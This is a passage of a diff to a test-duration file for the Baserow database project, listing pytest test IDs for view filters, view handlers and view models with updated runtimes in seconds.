"tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[email_field_factory]": 0.22643087603501044, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[file_field_factory]": 0.23191170798963867, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[long_text_field_factory]": 0.20819995901547372, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[multiple_collaborators_field_factory]": 0.43089862499618903, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[multiple_select_field_factory]": 0.25753845696453936, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[number_field_factory]": 0.21383512497413903, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[phone_number_field_factory]": 0.19203504303004593, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[single_select_field_factory]": 0.21510037500411272, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[text_field_factory]": 0.20499820800614543, + "tests/baserow/contrib/database/view/test_view_filters.py::test_empty_not_empty_formula_filter[url_field_factory]": 0.21470133401453495, + "tests/baserow/contrib/database/view/test_view_filters.py::test_ensure_all_multi_step_filter_type_and_operators_are_tested": 0.018215582997072488, + "tests/baserow/contrib/database/view/test_view_filters.py::test_equal_filter_type": 0.22592875000555068, + "tests/baserow/contrib/database/view/test_view_filters.py::test_filename_contains_filter_type": 0.15922500097076409, + "tests/baserow/contrib/database/view/test_view_filters.py::test_filename_contains_filter_type_multiple_filters": 0.14212408399907872, + "tests/baserow/contrib/database/view/test_view_filters.py::test_files_lower_than": 0.14054804100305773, + "tests/baserow/contrib/database/view/test_view_filters.py::test_has_file_type": 0.14553383199381642, + "tests/baserow/contrib/database/view/test_view_filters.py::test_higher_than_filter_type": 0.17756174900569022, + "tests/baserow/contrib/database/view/test_view_filters.py::test_higher_than_or_equal_filter_type": 0.16186687504523434, + "tests/baserow/contrib/database/view/test_view_filters.py::test_is_even_and_whole_number_filter_type": 0.13486424999427982, + "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_date_equal_filter_type": 0.21669220802141353, + "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_date_equals_days_ago_filter_type": 0.1382483330089599, + "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_date_equals_today_filter_type": 0.3579146249976475, + "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_datetime_equals_days_ago_filter_type": 0.309300750028342, "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_day_filter_type": 0.24180314499972155, - "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_month_filter_type": 0.2707906659998116, - "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_year_filter_type": 0.2797010839994982, - "tests/baserow/contrib/database/view/test_view_filters.py::test_length_is_lower_than_filter_type": 0.18043820899947605, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type": 0.3186524990005637, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_created_on_field": 0.28695287499976985, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_date_field": 0.2860998740006835, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_file_field": 0.5031690819996584, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_multiple_select_field": 0.24916374999975233, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_performance": 0.00013091699929645984, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_single_select_field": 0.2544374170001902, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_uuid_field": 0.24314354099897173, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_has_filter_type": 0.27992570900096325, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_has_not_filter_type": 0.26892837500054156, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_preload_values": 0.252895334000641, - "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_reference_same_table_has_filter_type": 0.2130102920000354, - "tests/baserow/contrib/database/view/test_view_filters.py::test_lower_than_filter_type": 0.20060404100058804, - "tests/baserow/contrib/database/view/test_view_filters.py::test_lower_than_or_equal_filter_type": 0.19544345799931762, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_empty_filter_type": 0.3044118340003479, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_has_filter_type": 0.4547234589999789, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_has_filter_type_export_import": 0.14259112699983234, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_has_not_filter_type": 0.45761187500011147, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_not_empty_filter_type": 0.31327062399941497, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_select_has_filter_type": 0.2168790009991426, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_select_has_filter_type_export_import": 0.010353165999731573, - "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_select_has_not_filter_type": 0.21168649999981426, - "tests/baserow/contrib/database/view/test_view_filters.py::test_not_empty_filter_type": 0.29788270899916824, - "tests/baserow/contrib/database/view/test_view_filters.py::test_not_empty_filter_type_for_link_row_table_with_trashed_rows": 0.23832762500114768, - "tests/baserow/contrib/database/view/test_view_filters.py::test_not_equal_filter_type": 0.20033179199981532, + "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_month_filter_type": 0.3042566249787342, + "tests/baserow/contrib/database/view/test_view_filters.py::test_last_modified_year_filter_type": 0.301724999997532, + "tests/baserow/contrib/database/view/test_view_filters.py::test_length_is_lower_than_filter_type": 0.17219670899794437, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type": 0.35313979105558246, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_created_on_field": 0.3013501660025213, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_date_field": 0.3117071270244196, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_file_field": 0.4557137079827953, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_multiple_select_field": 0.31162579197552986, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_performance": 0.00015287499991245568, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_single_select_field": 0.2962204579671379, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_contains_filter_type_uuid_field": 0.3242147090204526, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_has_filter_type": 0.40892666700528935, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_has_not_filter_type": 0.40780300003825687, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_preload_values": 0.318887248984538, + "tests/baserow/contrib/database/view/test_view_filters.py::test_link_row_reference_same_table_has_filter_type": 0.2590274990070611, + "tests/baserow/contrib/database/view/test_view_filters.py::test_lower_than_filter_type": 0.18252099899109453, + "tests/baserow/contrib/database/view/test_view_filters.py::test_lower_than_or_equal_filter_type": 0.14830141700804234, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_empty_filter_type": 0.2551359170174692, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_has_filter_type": 0.3929567499726545, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_has_filter_type_export_import": 0.10601483398932032, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_has_not_filter_type": 0.4379559580120258, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_collaborators_not_empty_filter_type": 0.26792558198212646, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_select_has_and_empty_or_filter_no_duplicates": 0.1510807920130901, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_select_has_filter_type": 0.19560533404001035, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_select_has_filter_type_export_import": 0.015869539958657697, + "tests/baserow/contrib/database/view/test_view_filters.py::test_multiple_select_has_not_filter_type": 0.24316862600971945, + "tests/baserow/contrib/database/view/test_view_filters.py::test_not_empty_filter_type": 0.6586897910165135, + "tests/baserow/contrib/database/view/test_view_filters.py::test_not_empty_filter_type_for_link_row_table_with_trashed_rows": 0.3216449169849511, + "tests/baserow/contrib/database/view/test_view_filters.py::test_not_equal_filter_type": 0.20395587501116097, "tests/baserow/contrib/database/view/test_view_filters.py::test_single_select_equal_filter_type": 0.1692140429995561, "tests/baserow/contrib/database/view/test_view_filters.py::test_single_select_equal_filter_type_export_import": 0.010362999999415479, "tests/baserow/contrib/database/view/test_view_filters.py::test_single_select_is_none_of_filter_type": 0.16099941600077727, "tests/baserow/contrib/database/view/test_view_filters.py::test_single_select_is_one_of_filter_type": 0.1706572490002145, "tests/baserow/contrib/database/view/test_view_filters.py::test_single_select_not_equal_filter_type": 0.16149824900003296, - "tests/baserow/contrib/database/view/test_view_filters.py::test_user_is_filter_type": 0.28467695899962564, - "tests/baserow/contrib/database/view/test_view_filters.py::test_user_is_filter_type_export_import": 0.1421846680004819, - "tests/baserow/contrib/database/view/test_view_filters.py::test_user_is_not_filter_type": 0.28381379100028425, - "tests/baserow/contrib/database/view/test_view_handler.py::test_aggregations_view_ownership_type": 0.3082252089980102, - "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_filters": 0.18967212499956076, - "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_sortings": 0.19275279199973738, - "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_sortings_applies_group_bys_first_then_view_sorts": 0.16299991699997918, - "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_sortings_sorts_by_group_bys": 0.18091787499906786, - "tests/baserow/contrib/database/view/test_view_handler.py::test_can_submit_form_view_handler_with_zero_number_required": 0.1625572499997361, - "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_apply_sorting_when_view_trashed": 0.1538533750008355, - "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_get_sort_when_view_trashed": 0.15958429200054525, - "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_get_view_filter_when_view_trashed": 0.16053795800053194, - "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_update_sort_when_view_trashed": 0.15667300100085413, - "tests/baserow/contrib/database/view/test_view_handler.py::test_changing_a_field_type_of_a_view_sort_to_non_orderable_one_delete_view_index": 0.3522574999997232, - "tests/baserow/contrib/database/view/test_view_handler.py::test_create_filter": 0.30454958399877796, - "tests/baserow/contrib/database/view/test_view_handler.py::test_create_filter_group_and_add_a_view_filter": 0.2933433750013137, - "tests/baserow/contrib/database/view/test_view_handler.py::test_create_form_view": 0.4108039170014308, - "tests/baserow/contrib/database/view/test_view_handler.py::test_create_grid_view": 0.287773709999783, - "tests/baserow/contrib/database/view/test_view_handler.py::test_create_group_by": 0.32419020799989084, - "tests/baserow/contrib/database/view/test_view_handler.py::test_create_sort": 0.3222127909994015, - "tests/baserow/contrib/database/view/test_view_handler.py::test_create_view_ownership_type": 0.15664325099896814, - "tests/baserow/contrib/database/view/test_view_handler.py::test_creating_view_sort_creates_a_new_index": 0.3465138339997793, - "tests/baserow/contrib/database/view/test_view_handler.py::test_decorations_view_ownership_type": 0.288319207999848, - "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_filter": 0.1622234579990618, - "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_form_view": 0.1628415010000026, - "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_grid_view": 0.28424508399893966, - "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_group_by": 0.16377804300009302, - "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_sort": 0.16612712499863846, - "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_view": 0.2854054580002412, - "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_view_ownership_type": 0.2793719589999455, - "tests/baserow/contrib/database/view/test_view_handler.py::test_deleting_a_field_of_a_view_sort_update_view_indexes": 0.35617116699995677, - "tests/baserow/contrib/database/view/test_view_handler.py::test_deleting_filter_group_deletes_also_filters": 0.28435766699931264, - "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicate_view_ownership_type": 0.29169624999940424, - "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicate_views": 0.3303294999996069, - "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicate_views_with_multiple_select_has_filter": 0.17201133399976243, - "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicating_table_do_not_duplicate_indexes": 0.3722685430002457, - "tests/baserow/contrib/database/view/test_view_handler.py::test_enable_form_view_file_field": 0.15623408300143637, - "tests/baserow/contrib/database/view/test_view_handler.py::test_field_options_view_ownership_type": 0.28501437500017346, - "tests/baserow/contrib/database/view/test_view_handler.py::test_field_type_changed": 0.23132020799948805, - "tests/baserow/contrib/database/view/test_view_handler.py::test_filter_builder_is_created_correctly_with_filter_groups": 0.17381633300010435, - "tests/baserow/contrib/database/view/test_view_handler.py::test_filters_view_ownership_type": 0.3041243329989811, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_filter": 0.2963042489991494, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_group_by_metadata_in_rows": 0.034038750999570766, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_group_by_on_all_fields_in_interesting_table": 3.5663723339985154, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_filter": 0.027060000000346918, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_filters_stack": 0.03303066700027557, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_include_exclude_fields": 0.03238612500081217, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_filters_applied": 0.031819040999835124, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_group_by": 0.03538566699899093, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_order_by": 0.03166520800004946, + "tests/baserow/contrib/database/view/test_view_filters.py::test_user_is_filter_type": 0.19420316701871343, + "tests/baserow/contrib/database/view/test_view_filters.py::test_user_is_filter_type_export_import": 0.09220650201314129, + "tests/baserow/contrib/database/view/test_view_filters.py::test_user_is_not_filter_type": 0.20311029299045913, + "tests/baserow/contrib/database/view/test_view_filters.py::test_week_operator_for_view_multi_date_filters": 1.051690000022063, + "tests/baserow/contrib/database/view/test_view_handler.py::test_aggregations_view_ownership_type": 0.22754179299226962, + "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_filters": 0.18109216800075956, + "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_sortings": 0.1850173759739846, + "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_sortings_applies_group_bys_first_then_view_sorts": 0.12637829201412387, + "tests/baserow/contrib/database/view/test_view_handler.py::test_apply_sortings_sorts_by_group_bys": 0.17526058398652822, + "tests/baserow/contrib/database/view/test_view_handler.py::test_can_duplicate_views_with_multiple_collaborator_has_filter": 0.2608365829801187, + "tests/baserow/contrib/database/view/test_view_handler.py::test_can_submit_form_view_handler_with_zero_number_required": 0.15598720801062882, + "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_apply_sorting_when_view_trashed": 0.12019295900245197, + "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_get_sort_when_view_trashed": 0.1313324999937322, + "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_get_view_filter_when_view_trashed": 0.1308114159910474, + "tests/baserow/contrib/database/view/test_view_handler.py::test_cant_update_sort_when_view_trashed": 0.12697895799647085, + "tests/baserow/contrib/database/view/test_view_handler.py::test_changing_a_field_type_of_a_view_sort_to_non_orderable_one_delete_view_index": 0.3918976249988191, + "tests/baserow/contrib/database/view/test_view_handler.py::test_create_filter": 0.2225422489864286, + "tests/baserow/contrib/database/view/test_view_handler.py::test_create_filter_group_and_add_a_view_filter": 0.20714924999629147, + "tests/baserow/contrib/database/view/test_view_handler.py::test_create_form_view": 0.2666261660051532, + "tests/baserow/contrib/database/view/test_view_handler.py::test_create_grid_view": 0.22421537496848032, + "tests/baserow/contrib/database/view/test_view_handler.py::test_create_group_by": 0.25798524997662753, + "tests/baserow/contrib/database/view/test_view_handler.py::test_create_sort": 0.2325704579707235, + "tests/baserow/contrib/database/view/test_view_handler.py::test_create_view_ownership_type": 0.12337725001270883, + "tests/baserow/contrib/database/view/test_view_handler.py::test_creating_view_sort_creates_a_new_index": 0.3559517910180148, + "tests/baserow/contrib/database/view/test_view_handler.py::test_decorations_view_ownership_type": 0.2037550819804892, + "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_filter": 0.15724037398467772, + "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_form_view": 0.1304120410059113, + "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_grid_view": 0.19370824901852757, + "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_group_by": 0.14862683200044557, + "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_sort": 0.15545816699159332, + "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_view": 0.17571791601949371, + "tests/baserow/contrib/database/view/test_view_handler.py::test_delete_view_ownership_type": 0.1960965420003049, + "tests/baserow/contrib/database/view/test_view_handler.py::test_deleting_a_field_of_a_view_sort_update_view_indexes": 0.39265708200400695, + "tests/baserow/contrib/database/view/test_view_handler.py::test_deleting_filter_group_deletes_also_filters": 0.20128574999398552, + "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicate_view_ownership_type": 0.2135257920017466, + "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicate_views": 0.2528930409462191, + "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicate_views_with_multiple_select_has_filter": 0.14689291699323803, + "tests/baserow/contrib/database/view/test_view_handler.py::test_duplicating_table_do_not_duplicate_indexes": 0.3942338339984417, + "tests/baserow/contrib/database/view/test_view_handler.py::test_enable_form_view_file_field": 0.13140341601683758, + "tests/baserow/contrib/database/view/test_view_handler.py::test_field_options_view_ownership_type": 0.19651562499348074, + "tests/baserow/contrib/database/view/test_view_handler.py::test_field_type_changed": 0.23340770800132304, + "tests/baserow/contrib/database/view/test_view_handler.py::test_field_type_changed_two_fields_num_queries": 0.16308645901153795, + "tests/baserow/contrib/database/view/test_view_handler.py::test_field_type_changed_unsupported_order_by_type": 0.17479262498090975, + "tests/baserow/contrib/database/view/test_view_handler.py::test_field_type_single_field_num_queries": 0.15127491694875062, + "tests/baserow/contrib/database/view/test_view_handler.py::test_filter_builder_is_created_correctly_with_filter_groups": 0.1599871669895947, + "tests/baserow/contrib/database/view/test_view_handler.py::test_filters_view_ownership_type": 0.2147726249822881, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_filter": 0.21138304204214364, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_group_by_metadata_in_rows": 0.06428337600664236, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_group_by_on_all_fields_in_interesting_table": 5.864674666983774, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_filter": 0.06989491698914208, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_filters_stack": 0.08595737401628867, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_include_exclude_fields": 0.09716091796872206, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_filters_applied": 0.06305604201043025, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_group_by": 0.08300624997355044, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_order_by": 0.07656945899361745, "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_search": 0.033510957000544295, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_search[compat]": 0.028841459000432224, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_search[full-text-with-count]": 0.029125873999873875, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_view_by_slug": 0.2882958750005855, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_view_ownership_type": 0.28762416699919413, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_views_which_include_row": 0.2092966680002064, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_views_which_include_rows": 0.21651520900013566, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_queryset_apply_sorts": 0.16122654100036016, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_sort": 0.28932545899988327, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_view": 0.2995087919998696, - "tests/baserow/contrib/database/view/test_view_handler.py::test_get_view_ownership_type": 0.1587943760005146, - "tests/baserow/contrib/database/view/test_view_handler.py::test_grid_view_aggregation_type_field_option": 0.15279733300030784, - "tests/baserow/contrib/database/view/test_view_handler.py::test_list_views_ownership_type": 0.15974841699971876, - "tests/baserow/contrib/database/view/test_view_handler.py::test_loading_a_view_checks_for_db_index_without_additional_queries": 0.34216550099972665, - "tests/baserow/contrib/database/view/test_view_handler.py::test_order_views": 0.3110567079993416, - "tests/baserow/contrib/database/view/test_view_handler.py::test_order_views_ownership_type": 0.1646683340004529, - "tests/baserow/contrib/database/view/test_view_handler.py::test_perm_deleting_view_remove_index_if_unused": 0.36562050000156887, - "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_caches_when_only_unfiltered_fields_updated": 0.1688556659992173, - "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_does_not_cache_when_any_filtered_fields_updated": 0.17013337500065973, - "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_includes_public_views_with_no_filters_with_no_queries": 0.16847408400008135, - "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_runs_expected_queries_on_init": 0.1747181239998099, - "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_runs_expected_queries_when_checking_rows": 0.17926462500054186, - "tests/baserow/contrib/database/view/test_view_handler.py::test_rotate_view_slug": 0.2842189579996557, - "tests/baserow/contrib/database/view/test_view_handler.py::test_sorts_view_ownership_type": 0.3038284170006591, - "tests/baserow/contrib/database/view/test_view_handler.py::test_submit_form_view": 0.18299424999986513, - "tests/baserow/contrib/database/view/test_view_handler.py::test_submit_form_view_skip_required_with_conditions": 0.17168833299911057, - "tests/baserow/contrib/database/view/test_view_handler.py::test_trashed_fields_are_not_included_in_grid_view_field_options": 0.16469504199903895, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_field_options": 0.31499524999981077, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_filter": 0.30263929100055975, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_filter_group": 0.2820893329999308, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_form_view": 0.41577012600009766, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_grid_view": 0.2849932919989442, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_group_by": 0.3245944590007639, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_index_replaces_index_with_diff_collation": 0.34375979299966275, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_sort": 0.3168802090003737, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_search[compat]": 0.29638362597324885, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_queryset_and_field_ids_view_search[full-text-with-count]": 0.29984745796537027, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_rows_raises_with_form_view": 0.06954458297695965, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_view_by_slug": 0.2076052909833379, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_view_ownership_type": 0.20581604100880213, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_views_which_include_row": 0.23162333297659643, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_public_views_which_include_rows": 0.24843624999630265, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_queryset_apply_sorts": 0.1646767919883132, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_rows_raises_with_form_view": 0.06180412499816157, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_sort": 0.21156858297763392, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_view": 0.2220873339974787, + "tests/baserow/contrib/database/view/test_view_handler.py::test_get_view_ownership_type": 0.12851237403810956, + "tests/baserow/contrib/database/view/test_view_handler.py::test_grid_view_aggregation_type_field_option": 0.13158633300918154, + "tests/baserow/contrib/database/view/test_view_handler.py::test_list_views_ownership_type": 0.13796404202003032, + "tests/baserow/contrib/database/view/test_view_handler.py::test_loading_a_view_checks_for_db_index_without_additional_queries": 0.36201691697351635, + "tests/baserow/contrib/database/view/test_view_handler.py::test_order_views": 0.22306258397293277, + "tests/baserow/contrib/database/view/test_view_handler.py::test_order_views_ownership_type": 0.13954358399496414, + "tests/baserow/contrib/database/view/test_view_handler.py::test_perm_deleting_view_remove_index_if_unused": 0.38753300000098534, + "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_caches_when_only_unfiltered_fields_updated": 0.16068733297288418, + "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_does_not_cache_when_any_filtered_fields_updated": 0.1624171250150539, + "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_includes_public_views_with_no_filters_with_no_queries": 0.15574654302326962, + "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_runs_expected_queries_on_init": 0.17892687398125418, + "tests/baserow/contrib/database/view/test_view_handler.py::test_public_view_row_checker_runs_expected_queries_when_checking_rows": 0.17212295898934826, + "tests/baserow/contrib/database/view/test_view_handler.py::test_rotate_view_slug": 0.19512800002121367, + "tests/baserow/contrib/database/view/test_view_handler.py::test_sorts_view_ownership_type": 0.2090590840089135, + "tests/baserow/contrib/database/view/test_view_handler.py::test_submit_form_view": 0.196490874979645, + "tests/baserow/contrib/database/view/test_view_handler.py::test_submit_form_view_skip_required_with_conditions": 0.1918259579979349, + "tests/baserow/contrib/database/view/test_view_handler.py::test_trashed_fields_are_not_included_in_grid_view_field_options": 0.14166308398125693, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_field_options": 0.2661899579979945, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_filter": 0.2312057499657385, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_filter_group": 0.18967070899088867, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_form_view": 0.2708162500348408, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_grid_view": 0.20170196000253782, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_group_by": 0.2275527489837259, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_index_replaces_index_with_diff_collation": 0.35817362600937486, + "tests/baserow/contrib/database/view/test_view_handler.py::test_update_sort": 0.23515374900307506, "tests/baserow/contrib/database/view/test_view_handler.py::test_update_view_ownership_type": 0.07953565700017862, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_view_ownership_type_non_existing": 0.1480984570007422, - "tests/baserow/contrib/database/view/test_view_handler.py::test_update_view_slug_ownership_type": 0.28920025099978375, - "tests/baserow/contrib/database/view/test_view_handler.py::test_updating_view_sorts_creates_a_new_index_and_delete_the_unused_one": 0.6706102500002089, - "tests/baserow/contrib/database/view/test_view_handler.py::test_view_loaded_replaces_index_with_diff_collation": 0.3455948740001986, - "tests/baserow/contrib/database/view/test_view_models.py::test_form_view_field_options_conditions_manager_field_trashed": 0.030321042000650777, - "tests/baserow/contrib/database/view/test_view_models.py::test_form_view_field_options_manager_field_trashed": 0.023121791000448866, - "tests/baserow/contrib/database/view/test_view_models.py::test_form_view_field_options_manager_view_trashed": 0.02321183200001542, - "tests/baserow/contrib/database/view/test_view_models.py::test_gallery_view_field_options_manager_field_trashed": 0.02390712599935796, - "tests/baserow/contrib/database/view/test_view_models.py::test_gallery_view_field_options_manager_view_trashed": 0.023374750000584754, - "tests/baserow/contrib/database/view/test_view_models.py::test_grid_view_field_options_manager_field_trashed": 0.023042708001412393, - "tests/baserow/contrib/database/view/test_view_models.py::test_grid_view_field_options_manager_view_trashed": 0.020900041999993846, - "tests/baserow/contrib/database/view/test_view_models.py::test_migration_remove_duplicate_fieldoptions": 0.00011133300176879857, - "tests/baserow/contrib/database/view/test_view_models.py::test_migration_remove_stale_fieldoptions": 0.00018916699991677888, - "tests/baserow/contrib/database/view/test_view_models.py::test_public_view_password": 0.7883379170007174, - "tests/baserow/contrib/database/view/test_view_models.py::test_rotate_view_slug": 0.015358043000560428, - "tests/baserow/contrib/database/view/test_view_models.py::test_view_decoration_manager_view_trashed": 0.017701749999105232, - "tests/baserow/contrib/database/view/test_view_models.py::test_view_filter_manager_field_trashed": 0.022200749999683467, - "tests/baserow/contrib/database/view/test_view_models.py::test_view_filter_manager_view_trashed": 0.020030499000313284, - "tests/baserow/contrib/database/view/test_view_models.py::test_view_get_field_options": 0.050060833998941234, - "tests/baserow/contrib/database/view/test_view_models.py::test_view_hierarchy": 0.16698458300015773, - 